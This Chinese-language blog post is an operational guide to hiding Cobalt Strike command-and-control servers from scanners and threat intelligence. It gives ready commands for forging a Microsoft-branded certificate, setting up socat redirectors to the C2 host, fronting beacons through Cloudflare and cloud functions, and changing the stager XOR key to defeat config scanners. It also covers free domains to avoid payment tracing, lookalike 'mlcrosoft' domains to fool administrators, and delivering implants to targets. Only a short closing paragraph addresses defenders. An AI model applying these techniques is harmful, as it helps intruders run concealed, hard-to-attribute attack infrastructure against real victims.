本文是对CS服务器检测与隐藏方法的学习总结,介绍检测方法的同时浅析相应隐藏方法的原理,并动手一步一步的修改相应特征值,搭建出一个不易被标记的基础服务器。

默认端口

CS服务器默认监听在50050端口,可以在启动前编辑teamserver文件更改监听端口:

sed -i 's/50050/10080/g' teamserver

  • 至于能不能有一点卵用就见仁见智了,只能说类似于将Tomcat从8080改到9090

默认证书

接着进行全端口扫描,看到默认证书中存在CS证书签发者的相关信息,我们可以用keytool重签一个伪造的证书。

keytool是一个装好JDK就会有的Java证书管理工具,输入命令keytool -list -v -keystore cobaltstrike.store -storepass 123456详细列出证书各条目信息。

然后删除默认的并重签一个伪造证书,重启CS后再用nmap -p- -A -vv扫描时已经消除该特征。

1
2
rm ./cobaltstrike.store
sed -i 's!-alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"!-alias microsoft.com -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"!g' teamserver

HTTPS证书

改了远控服务端证书后,抓包可以发现通过HTTPS的Beacon上线机器用的证书并不是同一个,而且同样存在可被识别的固定特征。

可以向Let's Encrypt申请一个免费证书并打包为keystore,用来替换CS自带的https证书。

1
2
3
4
5
6
7
8
# 申请免费证书
apt install certbot
certbot certonly --standalone -d update.domain.com

# 将证书打包并生成store文件
openssl pkcs12 -export -in /etc/letsencrypt/live/update.domain.com/fullchain.pem -inkey /etc/letsencrypt/live/update.domain.com/privkey.pem -out update.domain.com.p12 -name update.domain.com -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore update.domain.com.store -srckeystore update.domain.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias update.domain.com

接下来就需要用到Malleable C2 profile来引入我们自己申请的证书。以amazon.profile为例,将刚才生成的store文件放到CS目录下,向amazon.profile文件追加证书配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo '
https-certificate {
set keystore "update.domain.com.store";
set password "123456";
}' >> amazon.profile

# 顺带把dns_idle和stager路径也改了
sed -i '11i\set dns_idle "8.8.8.8";' amazon.profile
echo '
http-stager {
set uri_x86 "/jquery.min.js";
set uri_x64 "/jquery.debug.js";
}' >> amazon.profile

# 检查配置文件有效性
./c2lint amazon.profile

再通过nohup ./teamserver IP password amazon.profile &启动后抓上线包,证书就是自己申请的了


经过以上修改后虽然起到了一定的伪装效果,但在投递Payload、Beacon监听、会话回连等过程中,马被杀被分析、Beacon的Listener被主动扫描、流量触发WAF/IDS规则都可能让C2服务器等基础设施难逃被标记的命运,这时我们可以拉一个靠山(云)或是临时工(VPS)顶在前面,使得CS服务器从风暴前线转移到相对安全的后方阵地。

端口转发

就像nginx反向代理会隐藏后端的tomcat等应用服务器一样,我们可以开一个按时付费、随时能销毁的机器充当临时工,它作为一个中间人转发马和CS服务器相应端口的流量。但要注意的是需要给CS服务器所在机器加上白名单防火墙,只放行临时工机器的IP。

  • 当然也有个缺点就是CS操作界面的外部IP就都会是临时工的IP了,可以设置trust_x_forwarded_for头或通过目标向Log平台发起请求等方法获取真实IP

图是CS手册里的,暂时不必搞这么多分工和分级,先搭建一个简单的目标机器 <-> 临时工 <-> CS服务器这种拓扑的环境。

I. 设置CS服务器所在机器的白名单防火墙

II. 在临时工机器上安装socat并进行端口转发

1
2
3
4
5
6
7
apt install socat

socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80 &
socat TCP4-LISTEN:443,fork TCP4:1.1.1.1:443 &
...

# 可用 netstat -pantu | grep socat 查看后台转发的端口,kill PID 中止转发

III. 创建CS的Listener,设置回连地址为临时工的IP

IV. 向目标投递马子并执行,然后坐等上线即可

  • 此外还有一些专门做转发比如微林之类的

CDN

简单的CDN转发其实就是临时工角色从自己开的VPS变成了Cloudflare、XX云等厂商而已,只需要将域名ns记录给到对应的CDN厂商,之后马儿通过域名上线即可。注意一下CS服务器所在机器的防火墙白名单,要设置为CDN厂商的段(没有预设的话就自己搜集一下)。

这个的好处就是,相比自己开的临时工VPS依然可能被标记/被封,CDN厂商IP服务的站会很多,威胁情报要规避误报不太可能把CDN都拉黑。。。下面简述一下在freenom注册域名并且走Cloudflare CDN上线的流程。

I. 在freenom嫖一个免费域名,不用付费也规避了资金溯源

II. 将域名的NS记录设置为CF提供的

III. 等DNS缓存刷新后,通过域名上线即可

  • 要注意在DNS->配置中开启开发模式用来取消缓存(每次3小时),否则可能会只有心跳但执行不了命令。其次CloudFlare免费套餐限定了http/https能用的端口

域前置

在介绍域前置是什么之前,我们先思考一个问题:CDN一个IP对应多个站点,它是怎么知道到底每个请求要回源到哪个站点的。答案就是根据HTTP的Host请求头来区分,举个例子:

  • a.com 用了CDN 1.2.3.4
  • b.net 也用了CDN 1.2.3.4

我们通过curl -v 'a.com' -H 'b.net'最终访问的也是b.net,因为a.com的DNS会解析到1.2.3.4,而CDN是根据Host来判断的。

因此就可以在CDN中配置回源IP为CS所在服务器,并将加速域名设置为 在该CDN提供商这里尚未被占用的 高可信白名单子域名(例如systemupdate.microsoft.com)

但是,真的是这样嘛?

放在以前,甚至半年前都是可行的。很多CDN提供商都不需要校验加速域名的所有权,或是如果回源IP为自家产品就不需要校验。但是现在以前常说的CloudFront、Azure、CloudFlare、阿里云等厂商都需要验证域名归属权了,需要向加速域名添加CNAME、TXT等记录来证明所有权,这样基本也就断了这条路子。

还有点小想法就是利用某些有子域控制权的服务、拿下一些软柿子DNS控制权、或者退而求其次注册些形如mlcrosoft的域名骗骗视力不好的管理员。

  • 也许还有不需要验证或是能Bypass的,只是笔者还没发现或是get到姿势

云函数

云函数简单的说就是云服务厂商已经搭建好了多种语言执行环境,我们只需要把代码通过Web传上去(或是在线编辑)就能执行。部署在云上自带CDN特效,只需要跑个转发代码就能被当作转发器用,即目标机器 <-> 云函数CDN <-> CS服务器

各个厂商的云函数部署大同小异,具体方法可参考各家的文档。笔者特意测试了CS4.0是能正常上线并执行命令的,并不是一定得用CS4.1。除此之外中间其实踩了不少坑,挑几个可能比较普适的聊一下QAQ。

I. 首先编写转发代码时,URL后不要再加斜杠/了,不然到了CS那可能会成双斜杠//,转发的协议也要跟CS的Listener类型要对得上。比如位于1.1.1.1机器上的CS有一个https的Listener,那转发代码的URL就要写成https://1.1.1.1

II. 为了用自己搞的HTTPS证书就会要套profile,如果在Malleable-C2-Profiles的基础上改,一定要修改或是注释掉里面header "Host"部分。至于原因,想想之前介绍的CDN如何区分不同站点就明白了。

1
sed -i 's/header "Host"/#header "Host"/g' amazon.profile

III. 云函数会有 前端/后端 请求超时时间,建议把这个秒数稍微调大点,不然stage的马可能来不及走完流程就被挂了。

stager

CS的stage马上线时,默认会向一个符合checksum8规则的路径发起请求,随后服务器会响应各种Payload数据。checksum8规则路径大概就长这样:

1
2
3
4
5
6
7
/x9cI/
/fYKR/
/Mrm0/
/wQPD/
/yDHX/
/BCre/
/WHVh/

在profile中配置http-stager可以改变stage马的默认请求路径:

但这并不会让之前的默认规则失效,此时通过checksum8规则路径依然是可以正常上线执行命令的。

我们在浏览器中手动访问该路径会下载一个文件,随后可以利用固定的抑或密钥将其解密看个光光。

解决这个问题最方便的办法就是用完就把stager给kill掉,用的时候再编辑下Listener并保存就会重新开起来。

比较一劳永逸的办法就是反编译出class修改抑或字节并重新加密替换回去。已经有师傅改好了现成的,不过0x3e这个抑或字节迟早也会被加入解密全家桶,所以还是得团队自己改好一个自用的并将知道密钥的人咩口(误。之后再用grab_beacon_config.nse脚本去扫描,因为抑或密钥变了自然也就解析不出了。

JA3/S & JARM

这是一类根据Java版本、Web服务器、TLS版本等多因素TLS握手包生成指纹的方法,具体介绍及工具可参考jarm

目前主要用于识别的CS的JARM指纹是07d2ad16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1,利用这个指纹去识别其实也会包含不少像Tomcat、Weblogic这类的JavaWeb服务器。且该指纹是基于JDK11,如果用JDK13去跑CS则会得到不一样的指纹。

总结

根据对CS服务器的识别方式,主要可以分为主动扫描和被动识别,同时对每种标记方法介绍了相应的隐藏方法。像端口转发、CDN这类方法其实也可以组合使用,不过从实测的速度来看效果会很不理想。除此以外还有一些小套路比如让上线用的域名泛解析到同行(逃,像CloudFlare这种免费套餐不允许设置泛解析的就多加几条记录。

对于防守方来说,除了利用上述方法去识别没捂严实的CS服务器,可以考虑利用checksum8规则的特点给CS服务器疯狂假上线干扰攻击队,或者直接给各大杀软和沙箱批量交样本:(

参考链接

Cobalt Strike 绕过流量审计

CobaltStrike流量规避和cdn配置

使用CobaltStrike搭建域前置

基于国内某云的 Domain Fronting 技术实践

Reflective Injection And Domain Fronting

浅析CobaltStrike Beacon Staging Server扫描

Bypass cobaltstrike beacon config scan

Hiding in the clouds

CobaltStrikeParser

关于CobaltStrike的Stager被扫问题

Analyzing Cobalt Strike for Fun and Profit

A Red Teamer Plays with JARM

利用JARM指纹进行TLS服务端标记